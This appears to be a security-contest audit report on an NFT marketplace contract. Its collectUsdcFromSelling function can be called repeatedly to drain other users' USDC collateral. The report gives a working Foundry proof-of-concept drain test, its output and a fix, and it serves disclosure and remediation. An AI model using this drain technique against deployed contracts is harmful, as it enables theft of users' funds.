NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

`collectUsdcFromSelling` Can Be Called Repeatedly to Drain the Entire Contract Balance

Author Revealed upon completion

Summary

The collectUsdcFromSelling function in NFTDealers.sol lacks any state update to prevent repeated calls after an NFT is sold. Because collateralForMinting[listing.tokenId] is never zeroed and no "collected" flag exists, a seller can call this function infinitely after a single sale, draining the contract's entire USDC balance — including other users' collateral and pending sale proceeds.

Impact

After a single legitimate NFT sale, the seller can repeatedly call collectUsdcFromSelling to extract (listing.price - fees) + collateralToReturn on every call. Since the collateral mapping is never cleared and the listing data persists unchanged, each call passes all checks and transfers the same payout again.

Consider a marketplace with 50 active users, each having deposited 20 USDC collateral ($1,000 total locked). A malicious seller lists an NFT for $100 USDC, waits for a buyer, then calls collectUsdcFromSelling repeatedly. Each call extracts approximately $119 USDC (sale price minus 1% fee plus $20 collateral). Within a few calls, the entire contract balance is drained — every other user's collateral and uncollected sale proceeds are stolen.

Vulnerability Details

The collectUsdcFromSelling function performs no state cleanup after paying the seller:

// NFTDealers.sol:175-187
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees); // No-op: contract sends fees to itself
usdc.safeTransfer(msg.sender, amountToSeller);
// BUG: No state changes to prevent re-calling:
// - collateralForMinting[listing.tokenId] is never set to 0
// - No "collected" flag or listing deletion
// - onlySeller check passes every time (listing.seller unchanged)
// - !listing.isActive check passes every time (listing stays inactive)
}

Compare this to cancelListing which correctly cleans up state:

// NFTDealers.sol:169-170
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0; // Properly zeroed out

Additionally, usdc.safeTransfer(address(this), fees) on line 186 is a no-op — the contract is transferring USDC to itself. The fees are already in the contract from the buyer's payment in buy(). This means totalFeesCollected inflates on every repeated call while no actual fee separation occurs.

Code Location

  • src/NFTDealers.sol:175-187collectUsdcFromSelling() missing state cleanup

  • src/NFTDealers.sol:169-170cancelListing() showing correct pattern with collateralForMinting[listing.tokenId] = 0

  • src/NFTDealers.sol:182collateralForMinting[listing.tokenId] read but never zeroed

Proof of Concept

POC Guide

  1. Copy the test code below

  2. Paste it into test/NFTDealersTest.t.sol

  3. Run: forge test --mt test_collectUsdcDrain_POC -vvv

Test Code

Location: test/NFTDealersTest.t.sol

function test_collectUsdcDrain_POC() public revealed whitelisted {
// Setup: Simulate a marketplace with multiple users' funds in the contract
// Mint USDC to additional users who will deposit collateral
address victim1 = makeAddr("victim1");
address victim2 = makeAddr("victim2");
address victim3 = makeAddr("victim3");
usdc.mint(victim1, 20e6);
usdc.mint(victim2, 20e6);
usdc.mint(victim3, 20e6);
// Whitelist victims so they can mint
vm.startBroadcast(owner);
nftDealers.whitelistWallet(victim1);
nftDealers.whitelistWallet(victim2);
nftDealers.whitelistWallet(victim3);
vm.stopBroadcast();
// Victims mint NFTs — each locks $20 USDC as collateral
vm.startBroadcast(victim1);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft(); // token 1
vm.stopBroadcast();
vm.startBroadcast(victim2);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft(); // token 2
vm.stopBroadcast();
vm.startBroadcast(victim3);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft(); // token 3
vm.stopBroadcast();
// Attacker (userWithCash) mints token 4
vm.startBroadcast(userWithCash);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft(); // token 4
vm.stopBroadcast();
// Contract now holds $80 USDC (4 x $20 collateral)
uint256 contractBalanceAfterMints = usdc.balanceOf(address(nftDealers));
emit log_named_uint("Contract balance after 4 mints", contractBalanceAfterMints);
// Attacker lists token 4 for a small price ($1 USDC)
vm.prank(userWithCash);
nftDealers.list(4, uint32(1e6));
// Buyer buys attacker's NFT
vm.startBroadcast(userWithEvenMoreCash);
usdc.approve(address(nftDealers), 1e6);
nftDealers.buy(4);
vm.stopBroadcast();
// Contract now has $81 USDC ($80 collateral + $1 sale)
uint256 contractBalanceAfterSale = usdc.balanceOf(address(nftDealers));
uint256 sellerBalanceBefore = usdc.balanceOf(userWithCash);
emit log_named_uint("Contract balance after sale", contractBalanceAfterSale);
emit log_named_uint("Attacker balance before drain", sellerBalanceBefore);
// DRAIN: Attacker calls collectUsdcFromSelling repeatedly
// Each call pays out: (price - fees) + collateral = ($1 - $0.01) + $20 = $20.99
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(4);
uint256 afterFirst = usdc.balanceOf(userWithCash);
emit log_named_uint("Attacker balance after 1st collect", afterFirst);
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(4);
uint256 afterSecond = usdc.balanceOf(userWithCash);
emit log_named_uint("Attacker balance after 2nd collect", afterSecond);
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(4);
uint256 afterThird = usdc.balanceOf(userWithCash);
emit log_named_uint("Attacker balance after 3rd collect", afterThird);
uint256 contractBalanceAfterDrain = usdc.balanceOf(address(nftDealers));
emit log_named_uint("Contract balance after 3 drains", contractBalanceAfterDrain);
// Prove the drain
uint256 totalStolen = afterThird - sellerBalanceBefore;
emit log_named_uint("Total extracted by attacker", totalStolen);
// Attacker extracted more than their legitimate payout
uint256 legitimatePayout = afterFirst - sellerBalanceBefore;
assertGt(totalStolen, legitimatePayout, "Attacker stole more than entitled");
// Other users' collateral was stolen
assertLt(contractBalanceAfterDrain, contractBalanceAfterMints, "Victims' collateral was drained");
}

Output

Ran 1 test for test/NFTDealersTest.t.sol:NFTDealersTest
[PASS] test_collectUsdcDrain_POC() (gas: 765233)
Logs:
Contract balance after 4 mints: 80000000
Contract balance after sale: 81000000
Attacker balance before drain: 0
Attacker balance after 1st collect: 20990000
Attacker balance after 2nd collect: 41980000
Attacker balance after 3rd collect: 62970000
Contract balance after 3 drains: 18030000
Total extracted by attacker: 62970000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.13ms (1.65ms CPU time)
Step Contract Balance Attacker Balance Notes
After 4 mints (4 x $20 collateral) $80.00 $0.00 4 users each lock $20
After sale ($1 NFT sold) $81.00 $0.00 Buyer pays $1 for attacker's NFT
After 1st collect (legitimate) $60.01 $20.99 Attacker gets $20 collateral + $0.99 sale proceeds
After 2nd collect (DRAIN) $39.02 $41.98 Same payout again — stealing victims' collateral
After 3rd collect (DRAIN) $18.03 $62.97 Continued drain of other users' funds

The attacker deposited $20 collateral and sold a $1 NFT. Their legitimate payout should have been $20.99. Instead they extracted $62.97** in 3 calls, stealing **$41.98 of other users' locked collateral. A 4th call would drain the remaining $18.03.

Mitigation

Add state cleanup to collectUsdcFromSelling to prevent repeated calls:

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ // Prevent re-entrancy / repeated calls
+ collateralForMinting[listing.tokenId] = 0;
+ delete s_listings[_listingId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees); // Remove: no-op self-transfer
usdc.safeTransfer(msg.sender, amountToSeller);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!